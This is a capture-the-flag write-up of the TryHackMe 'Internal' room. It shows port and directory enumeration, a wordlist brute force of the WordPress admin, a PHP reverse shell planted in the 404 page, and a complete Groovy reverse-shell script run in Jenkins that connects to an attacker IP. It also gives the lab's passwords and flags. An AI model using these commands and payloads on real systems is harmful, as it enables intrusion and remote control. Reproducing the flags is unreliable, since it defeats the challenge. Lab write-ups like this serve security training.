Internal server writeup#
URL https://tryhackme.com/room/internal
Software found#
| Name | version |
|---|---|
| Apache | 2.4.29 |
| Ubuntu server | 18.04 LTS (Bionic Beaver) |
| PHP | 7.2.24 |
| Wordpress | 5.4.2 CVE-2022-21661 |
| jQuery | 1.12.4 |
| jQuery Migrate | 1.4.1 |
| MySQL | 5.7.31 |
| SSH OpenSSH | 7.6p1 CVE-2024-6387 |
| PHPMYADMIN | 4.6.6 |
enumeration#
port discovery#
sudo nmap -p- -sV -sC -T4 -Pn -oA 10.114.153.34 10.114.153.34 --stats-every=30s
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-14 06:13 -0400
Nmap scan report for 10.114.153.34
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
Scan only took 17 seconds - very surprising
-
Found only ssh and http open.
Investigating http server#
gobuster dir -url http://10.114.153.34 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
blog (Status: 301) [Size: 313] [--> http:///blog/]
wordpress (Status: 301) [Size: 318] [--> http://10.114.153.34/wordpress/]
javascript (Status: 301) [Size: 319] [--> http://10.114.153.34/javascript/]
phpmyadmin (Status: 301) [Size: 319] [--> http://10.114.153.34/phpmyadmin/]
server-status (Status: 403) [Size: 278]
Progress: 207641 / 207641 (100.00%)
Note: url in wordpress was hardcoded to internal.thm so I added that to /etc/hosts
Investigating /javascript#
gobuster dir -url http://10.114.153.34/javascript/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Found
- /javascript/scriptaculous/
- /javascript/prototype/
- /javascript/jquery/
WPscan#
wpscan --url http://10.114.153.34/blog -e vp,u
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[i] Updating the Database ... [i] Update completed.
[+] URL: http://10.114.153.34/blog/ [10.114.153.34] [+] Started: Thu May 14 07:16:50 2026
Interesting Finding(s):
[+] Headers | Interesting Entry: Server: Apache/2.4.29 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.114.153.34/blog/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.114.153.34/blog/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.114.153.34/blog/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10). | Found By: Emoji Settings (Passive Detection) | - http://10.114.153.34/blog/, Match: 'wp-includes/js/wp-emoji-release.min.js?ver=5.4.2' | Confirmed By: Meta Generator (Passive Detection) | - http://10.114.153.34/blog/, Match: 'WordPress 5.4.2'
[i] The main theme could not be detected.
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu May 14 07:16:54 2026 [+] Requests Done: 64 [+] Cached Requests: 5 [+] Data Sent: 14.774 KB [+] Data Received: 23.562 MB [+] Memory used: 230.879 MB [+] Elapsed time: 00:00:03
┌──(kali㉿kali)-[~] └─$ wpscan --url http://internal.thm/blog -e vp,u
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[+] URL: http://internal.thm/blog/ [10.114.153.34] [+] Started: Thu May 14 07:18:40 2026
Interesting Finding(s):
[+] Headers | Interesting Entry: Server: Apache/2.4.29 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100%
[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://internal.thm/blog/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10). | Found By: Rss Generator (Passive Detection) | - http://internal.thm/blog/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator> | - http://internal.thm/blog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
[+] WordPress theme in use: twentyseventeen | Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/ | Last Updated: 2025-12-03T00:00:00.000Z | Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt | [!] The version is out of date, the latest version is 4.0 | Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 2.3 (80% confidence) | Found By: Style (Passive Detection) | - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu May 14 07:18:45 2026 [+] Requests Done: 54 [+] Cached Requests: 7 [+] Data Sent: 14.724 KB [+] Data Received: 472.771 KB [+] Memory used: 267.949 MB [+] Elapsed time: 00:00:05
password scan of admin user#
wpscan --url http://internal.thm/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt
[!] Valid Combinations Found: | Username: admin, Password: my2boys
WP investigation#
post with credentials:
Don't forget to reset Will's credentials. william:arnold147 ssh login failed
editing 404 page to have php reverse shell from http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
reverse shell#
found user aubreanna
in /opt foud text file with aubreanna:bubb13guM!@#123
login worked for ssh.
user.txt contains flag 1:
THM{int3rna1_fl4g_1}
found reference to internal jenkins on 172.17.0.2:8080 logged out ssh and forwarded port:
ssh -L 8181:172.17.0.2:8080 aubreanna@internal.thm
enabling me to access from attacking machine
admin:spongebob found via intercept proxy Jenkins version is 2.250
went to the scripting console and made a reverse shell
String host="192.168.206.166";
int port=8844;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
found a note.txt in /opt with root:tr0ub13guM!@#123
went back to my ssh shell and su - root
found /root/root.txt:
THM{d0ck3r_d3str0y3r}
Tags#
#THM #TryHackMe #Pentest